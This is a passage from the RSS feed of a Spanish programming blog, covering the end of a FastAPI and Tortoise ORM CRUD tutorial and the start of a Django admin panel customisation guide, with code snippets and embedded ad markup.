style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.delete&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{job_id}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;, response_model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Status, responses&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;: {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;model&amp;#34;&lt;/span&gt;: HTTPNotFoundError}})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;delete_job&lt;/span&gt;(job_id: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    deleted_job &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;job_id)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;delete()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; deleted_job:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;raise&lt;/span&gt; HTTPException(status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;, detail&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Job &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{&lt;/span&gt;job_id&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; not found&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Status(message&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Deleted job &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{&lt;/span&gt;job_id&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Filtramos por el id que obtenemos en la url y, si encontramos el objeto, lo borramos, en caso de que no exista el id de ese objeto devolveremos un error 404 por medio de una excepción. En caso de que sí, ya no vamos a devolver el objeto, sino que bastará con que devolvamos un mensaje avisando que el id fue borrado.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/BorrarUnObjetoTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/BorrarUnObjetoTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Eliminación de un objeto usando fastAPI y swagger&#34; width=&#34;1468&#34; height=&#34;1010&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Y con eso podemos realizar las operaciones básicas de CRUD en fastAPI usando tortoise como ORM. En esta entrada no he tratado las llaves foráneas, ni los campos de llave foránea, ni los many to many, ni otro tipo de relaciones entre modelos. Probablemente haga una entrada en un futuro sobre eso, mientras tanto puedes leerte &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tortoise.github.io/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial de tortoise.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Una de las cosas que más me gustan de Django es su ORM; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;una de las razones por las que este framework es tan popular&lt;/a&gt;&#xA;. Por otro lado FastAPI no cuenta con un ORM y se centra únicamente en servir endpoints, mostrándose agnóstico sobre la base de datos. Hay bastantes opciones de ORM para python: django-alchemy, peewee, ponyORM, tortoise. Este último, además de ser asíncrono, está inspirado en el ORM de django, por lo que su sintaxis es bastante similar, incluso muchas funciones de tortoise comparten nombre con su contraparte de Django, por lo que los usuarios que usan el ORM de Django van a ahorrarse mucho tiempo aprendiendo las funciones de tortoise.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Tutorial ¿Cómo Modificar y Personalizar el Django Admin Panel?</title>
      <link>https://coffeebytes.dev/es/django/django-admin-panel-y-su-personalizacion/</link>
      <pubDate>Tue, 14 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/django-admin-panel-y-su-personalizacion/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Una de las mejores características de django es que cuenta con el django admin panel, un panel de administración listo para usarse, con funciones básicas como crear, leer, editar y eliminar modelos, usuarios, grupos y permisos. Todo listo con solo montar tu aplicación. Pero a veces nuestras necesidades son otras ¿y si queremos modificar la apariencia o las funciones de la interfaz? Afortunadamente Django incluye muchísimas funciones para personalizar el comportamiento del admin, te explicaré algunas a continuación.&lt;/p&gt;&#xA;&lt;p&gt;El panel de administración de django es una de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;las razones por las que deberías considerar usar Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;revisando-que-django-admin-panel-este-activo&#34;&gt;Revisando que django admin panel esté activo&lt;/h2&gt;&#xA;&lt;p&gt;Si iniciaste tu proyecto con el comando startproject el panel de administración de django estará activado por defecto. Si entras a &lt;em&gt;/admin/&lt;/em&gt; aparecerá la pantalla de logueo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/django-admin-panel.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/django-admin-panel.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla de loggeo del panel de administración&#34; width=&#34;800&#34; height=&#34;500&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Pantalla del panel admin de django&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En caso de que no, o de que partas de una instalación previa, primero tienes que asegurarte de que esté instalado en tu archivo de configuraciones, así como sus dependencias:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;django.contrib.auth&lt;/li&gt;&#xA;&lt;li&gt;django.contrib.contenttypes&lt;/li&gt;&#xA;&lt;li&gt;django.contrib.messages&lt;/li&gt;&#xA;&lt;li&gt;django.contrib.sessions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Después de todo, si no puedes autenticarte ni iniciar sesión pues no podrás entrar al panel de administración ¿no?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.admin&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.auth&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.contenttypes&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sessions&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.messages&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También debes agregar &lt;em&gt;django.contrib.messages.context_processors.messages&lt;/em&gt; y d_jango.contrib.auth.context_processors.auth_ a la opción de &lt;em&gt;context_processors&lt;/em&gt; en la variable TEMPLATES de tu archivo &lt;em&gt;settings.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;De la misma manera agrega &lt;em&gt;django.contrib.auth.middleware.AuthenticationMiddleware&lt;/em&gt; y &lt;em&gt;django.contrib.messages.middleware.MessageMiddleware&lt;/em&gt; a la variable MIDDLEWARE también de tu archivo &lt;em&gt;settings.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ahora que estamos seguros de que el paquete admin está activo, empecemos agregando un modelo. Voy a usar un modelo hipotético llamado Videogame que luce de la siguiente manera&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GENRES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;HR&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Horror&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;AD&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Adventure&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField(blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    genre &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(choices&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;GENRES, max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rating &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;FloatField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;agregar-un-modelo-al-django-admin-panel&#34;&gt;Agregar un modelo al django admin panel&lt;/h2&gt;&#xA;&lt;p&gt;Empecemos con lo básico, agregar un modelo al admin.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Con esto ya tendremos un modelo modificable en el admin.&lt;/p&gt;&#xA;&lt;p&gt;Si entramos a la dirección url /&lt;em&gt;admin/&lt;/em&gt; nos logueamos, podremos ver la interfaz funcionando.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/PanelDeAdministracionDeDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/PanelDeAdministracionDeDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Panel de administración de django&#34; width=&#34;1029&#34; height=&#34;541&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Nota la ausencia de 